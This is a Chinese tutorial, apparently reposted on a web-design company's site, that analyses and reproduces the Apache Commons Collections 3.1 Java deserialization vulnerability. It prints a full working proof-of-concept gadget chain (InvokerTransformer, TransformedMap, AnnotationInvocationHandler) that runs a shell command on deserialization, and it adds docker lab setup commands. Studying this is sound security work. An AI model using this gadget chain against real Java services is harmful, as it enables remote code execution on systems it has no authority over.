如何進(jìn)行Apache Commons Collections反序列化漏洞分析與復(fù)現(xiàn),針對(duì)這個(gè)問題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡(jiǎn)單易行的方法。
成都創(chuàng)新互聯(lián)主要從事網(wǎng)站設(shè)計(jì)、成都網(wǎng)站制作、網(wǎng)頁(yè)設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)陳巴爾虎,十余年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):028-86922220
完成漏洞挖掘條件分析、漏洞復(fù)現(xiàn)。
存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。
POC核心代碼:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//創(chuàng)建Map并綁定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //觸發(fā)漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//將ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的數(shù)據(jù)流進(jìn)行反序列化,驗(yàn)證ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
Transformer接口-實(shí)現(xiàn)類-InvokerTransformer(),可調(diào)用任何函數(shù)。
為實(shí)現(xiàn) Runtime.getRuntime().exec(cmd),要多次調(diào)用 transformer 并將當(dāng)前返回結(jié)果作為下次輸入信息。
為調(diào)用 Runtime.getRuntime(),考慮 ConstantTransformer 類,它可直接將輸入的參數(shù)作為輸出。
ChainedTransformer 作為實(shí)現(xiàn)類,對(duì)于接收的Transformer 數(shù)組,采用自身的transform方法(參數(shù)是用戶輸入的)逐次處理Transformer數(shù)組對(duì)象,將其結(jié)果作為下次重復(fù)調(diào)用的輸入?yún)?shù)。它的 transform()方法即可出觸發(fā)漏洞。
為尋找反序列化途徑,即讀進(jìn)來數(shù)據(jù)被反序列化執(zhí)行,則反向?qū)ふ铱捎|發(fā)ChainedTransformer 對(duì)象 .transform() 方法的途徑。
HashMap類可以鍵值對(duì)方式存儲(chǔ)數(shù)據(jù),put(key,value)方法可存儲(chǔ)數(shù)據(jù)。
TransformedMap類的功能是存儲(chǔ)鍵值對(duì)并將其轉(zhuǎn)換為transform objects,decorate()方法可創(chuàng)建鍵值對(duì)組,checkSetValue()方法會(huì)觸發(fā)this.valueTransformer.transform()語句。依次反向?qū)ふ艺{(diào)用 checkSetValue()【1】,使 this.valueTransformer 為 ChainedTransformer 對(duì)象的途徑【2】。
對(duì)于【2】,TransformedMap 類的靜態(tài)方法 decorate()可達(dá)到目標(biāo)。
對(duì)于【1】,AbstractInputCheckedMapDecorator 類 MapEntry 靜態(tài)類的setValue方法會(huì)執(zhí)行this.parent.checkSetValue(value),則接下來應(yīng)使this.parent為TransformedMap對(duì)象【3】。
對(duì)于【3】,正向分析POC中此段代碼:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
研究可知,執(zhí)行過程中多次在AbstractInputCheckedMapDecorator類中,將TransformedMap對(duì)象賦值給this.parent,返回Map.Entry對(duì)象,正好可以執(zhí)行setValue()方法,觸發(fā)漏洞。
為提升通用性,必須設(shè)法使得調(diào)用反序列化方法即觸發(fā)漏洞,因此,考慮尋找類對(duì)象滿足“重寫反序列化readObject()且執(zhí)行Map類對(duì)象變量的setValue(),同時(shí)此變量可被控制賦鍵值數(shù)據(jù)”。AnnotationInvocationHandler類滿足此需求【它對(duì)Map類型的成員變量的每個(gè)條目均調(diào)用setValue()】。
Class.forName() 功能是加載類。
則再次分析,對(duì)于【1】,正向分析POC中核心代碼:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
研究可知,執(zhí)行過程會(huì)執(zhí)行 MapEntry 靜態(tài)類的 setValue 方法,且會(huì)執(zhí)行entrySet 方法使得 this.parent=TransformedMap 對(duì)象,從而觸發(fā)漏洞。
總的來說,正向的POC構(gòu)造思路為:先構(gòu)造 ChainedTransformer 對(duì)象,隨后創(chuàng)建 Map 對(duì)象,再采用 TransformedMap 類實(shí)例將 ChainedTransformer 對(duì)象保存至 Map 類對(duì)象中,再通過反射方法獲得經(jīng) Map 類對(duì)象初始化的AnnotationInvocationHandler 類實(shí)例,對(duì)其進(jìn)行序列化。
下載制作的docker鏡像,用以下命令:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
設(shè)置局域網(wǎng)及容器ip、啟動(dòng)容器,例子:
(1)自定義網(wǎng)絡(luò)
docker network create --subnet=192.168.10.1/24 testnet
(2)啟動(dòng)docker容器
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
在容器【Apache-Commons-Collections】中,執(zhí)行命令【java -jar commons-collections-3.1.jar】,則生成文件【CommonsCollections3.1】,如下圖。
關(guān)于如何進(jìn)行Apache Commons Collections反序列化漏洞分析與復(fù)現(xiàn)問題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識(shí)。
網(wǎng)站題目:如何進(jìn)行ApacheCommonsCollections反序列化漏洞分析與復(fù)現(xiàn)
本文地址:http://chinadenli.net/article14/gecoge.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供微信公眾號(hào)、手機(jī)網(wǎng)站建設(shè)、網(wǎng)站排名、品牌網(wǎng)站制作、網(wǎng)站收錄、商城網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)